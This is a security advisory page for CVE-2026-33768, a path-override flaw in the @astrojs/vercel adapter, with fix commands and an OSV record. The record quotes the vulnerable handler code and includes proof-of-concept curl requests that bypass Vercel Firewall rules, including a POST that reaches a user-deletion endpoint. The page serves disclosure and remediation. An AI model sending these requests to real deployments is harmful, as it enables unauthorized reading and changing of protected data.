CVE-2026-33768: Astro Unauthenticated Path Override Vulnerability
MODERATECVE-2026-33768 is a MODERATE (CVSS 6.5) unauthenticated path override vulnerability (CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')) affecting Astro libraries in the npm ecosystem. The issue involves unauthenticated path override via `x-astro-path` / `x_astro_path`. Remediation is available by upgrading affected packages to version 10.0.2.
CVE-2026-33768 at a Glance
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N).
How to Fix CVE-2026-33768
To remediate this vulnerability, upgrade all affected Astro dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @astrojs/vercel@10.0.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @astrojs/vercel
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-33768, inspect your project dependencies using npm:
npm ls @astrojs/vercel
Analyze the terminal output to locate any version of Astro in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 10.0.2), your application is affected.
Note: The npm ls @astrojs/vercel command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-441: Unintended Proxy or Intermediary ('Confused Deputy'), where the product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. this causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. In Astro, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-33768 Affected Astro Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@astrojs/vercel
|
npm |
< 10.0.2
|
10.0.2
|
References
Frequently Asked Questions
What is CVE-2026-33768?
Which Astro versions are affected?
What version fixes CVE-2026-33768?
Is @astrojs/vercel affected?
What is the CVSS score of CVE-2026-33768?
What CWE is associated with CVE-2026-33768?
How can I check npm dependencies for CVE-2026-33768?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-mr6q-rp88-fx84",
"modified" : "2026-03-26T18:41:34Z",
"published" : "2026-03-26T18:41:34Z",
"aliases" : [ "CVE-2026-33768" ],
"summary" : "Astro: Unauthenticated Path Override via `x-astro-path` / `x_astro_path`",
"details" : "## Summary\n\nThe `@astrojs/vercel` serverless entrypoint reads the `x-astro-path` header and `x_astro_path` query parameter to rewrite the internal request path, with no authentication whatsoever. On deployments without Edge Middleware, this lets anyone bypass Vercel's platform-level path restrictions entirely.\n\nThe override preserves the original HTTP method and body, so this isn't limited to GET. POST, PUT, DELETE all land on the rewritten path. A Firewall rule blocking `/admin/*` does nothing when the request comes in as `POST /api/health?x_astro_path=/admin/delete-user`.\n\n## Affected Versions\n\nVerified against:\n- **Astro 5.18.1 + @astrojs/vercel 9.0.4** — GET and POST override both work. Full exploitation.\n- **Astro 6.0.3 + @astrojs/vercel 10.0.0** — GET override works. POST/DELETE hit a `duplex` bug in the Request constructor (the `duplex: 'half'` option is required when passing a ReadableStream body — this has been an issue since Node.js 18 but is consistently enforced in the Node.js 22+ runtime that Astro 6 requires). This is not a security fix — the code explicitly passes `body: request.body` and intends to preserve it. Once the missing `duplex` option is added, all methods will be exploitable on v6 as well.\n\nThe vulnerable code path is identical across both versions.\n\n## Affected Component\n\n- **Package**: `@astrojs/vercel`\n- **File**: `packages/integrations/vercel/src/serverless/entrypoint.ts` (lines 19–28)\n- **Constants**: `packages/integrations/vercel/src/index.ts` (lines 44–45)\n\n## Vulnerable Code\n\nThe handler blindly trusts the caller-supplied path:\n\n```typescript\nconst realPath =\n request.headers.get(ASTRO_PATH_HEADER) ??\n url.searchParams.get(ASTRO_PATH_PARAM);\nif (typeof realPath === 'string') {\n url.pathname = realPath; // no validation, no auth\n request = new Request(url.toString(), {\n method: request.method, // preserved\n headers: request.headers, // preserved\n body: request.body, // preserved\n });\n}\n```\n\nWhat makes this worse is the inconsistency. `x-astro-locals` right below it is gated behind `middlewareSecret`, but `x-astro-path` gets nothing:\n\n```typescript\n// x-astro-locals: protected\nif (astroLocalsHeader) {\n if (middlewareSecretHeader !== middlewareSecret) {\n return new Response('Forbidden', { status: 403 });\n }\n locals = JSON.parse(astroLocalsHeader);\n}\n// x-astro-path: no equivalent check (lines 19-28 above)\n```\n\n## Conditions\n\n1. Astro + `@astrojs/vercel` adapter\n2. `output: 'server'` (SSR)\n3. No `src/middleware.ts` defined, or middleware not using Edge mode\n\nThis is a realistic production configuration. Middleware is optional and many deployments skip it.\n\nThe `x-astro-path` mechanism exists for a legitimate purpose: when Edge Middleware is present, it forwards requests to a single serverless function (`_render`) and uses this header to communicate the original path. The Edge Middleware always overwrites any client-supplied value with the correct one. But when no Edge Middleware is configured, requests hit the serverless function directly, and the override is exposed to external callers with no protection.\n\n## Proof of Concept\n\nSetup: minimal Astro SSR project on Vercel, no middleware. Routes: `/public` (page), `/api/health` (API endpoint), `/admin/secret` (page), `/admin/delete-user` (API endpoint). Vercel Firewall blocks `/admin/*`.\n\n**GET — page content override:**\n```bash\ncurl \"https://target.vercel.app/public?x_astro_path=/admin/secret\"\n# Returns: PAGE_ID: admin-secret\n```\n\n**GET — API route override:**\n```bash\ncurl \"https://target.vercel.app/api/health?x_astro_path=/admin/delete-user\"\n# Returns: {\"pageId\":\"admin-delete-user\",\"message\":\"This is a protected admin API endpoint\",\"method\":\"GET\"}\n```\n\n**Header override:**\n```bash\ncurl -H \"x-astro-path: /admin/secret\" https://target.vercel.app/public\n# Returns: PAGE_ID: admin-secret\n```\n\n**Vercel Firewall bypass (GET):**\n```bash\n# Direct access — blocked\ncurl https://target.vercel.app/admin/secret\n# Returns: Forbidden\n\n# Via override — Firewall sees /public, serves /admin/secret\ncurl \"https://target.vercel.app/public?x_astro_path=/admin/secret\"\n# Returns: PAGE_ID: admin-secret\n```\n\n**Vercel Firewall bypass (POST) — verified on Astro 5.x:**\n```bash\n# Direct access — blocked\ncurl -X POST -H \"Content-Type: application/json\" -d '{\"userId\":\"123\"}' \\\n https://target.vercel.app/admin/delete-user\n# Returns: Forbidden\n\n# Via override — Firewall sees /api/health, executes POST /admin/delete-user\ncurl -X POST -H \"Content-Type: application/json\" -d '{\"userId\":\"123\"}' \\\n \"https://target.vercel.app/api/health?x_astro_path=/admin/delete-user\"\n# Returns: {\"action\":\"delete-user\",\"status\":\"deleted\",\"method\":\"POST\"}\n```\n\nThe Firewall evaluates the original path. The serverless function serves the overridden path. Method and body carry over.\n\nISR is not affected. Vercel's cache layer appears to intercept before the function runs.\n\n## Impact\n\n**Firewall/WAF bypass — read (Critical):** Any path-based restriction in Vercel Dashboard or `vercel.json` (IP blocks, geo restrictions, rate limits scoped to specific paths) can be bypassed for GET requests. Protected page content and API responses are fully readable.\n\n**Firewall/WAF bypass — write (Critical):** POST/PUT/DELETE requests also bypass Firewall rules. The method and body are preserved through the override, so any write endpoint behind path-based restrictions is reachable. Verified on Astro 5.x; on 6.x this is blocked by an unrelated `duplex` bug in the Request constructor, not by any security check.\n\n**Audit log mismatch (Medium):** Vercel logs record the original request path and query string (e.g. `/public?x_astro_path=/admin/secret`), so the override parameter is technically visible. However, the logged path (`/public`) does not reflect the path actually served (`/admin/secret`). Detecting this attack from logs requires knowing what `x_astro_path` means — standard monitoring and alerting based on request paths will not catch it.\n\n## Prior Art\n\nCVE-2025-29927 (Next.js): `x-middleware-subrequest` header injectable by external clients, bypassing middleware. Same class of vulnerability.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@astrojs/vercel"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "10.0.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/withastro/astro/security/advisories/GHSA-mr6q-rp88-fx84"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33768"
}, {
"type" : "WEB",
"url" : "https://github.com/withastro/astro/pull/15959"
}, {
"type" : "WEB",
"url" : "https://github.com/withastro/astro/commit/335a204161f5a7293c128db570901d4f8639c6ed"
}, {
"type" : "ADVISORY",
"url" : "https://github.com/advisories/GHSA-f82v-jwr5-mffw"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/withastro/astro"
}, {
"type" : "WEB",
"url" : "https://github.com/withastro/astro/releases/tag/@astrojs/vercel@10.0.2"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-441", "CWE-862" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-26T18:41:34Z",
"nvd_published_at" : "2026-03-24T19:16:55Z"
}
}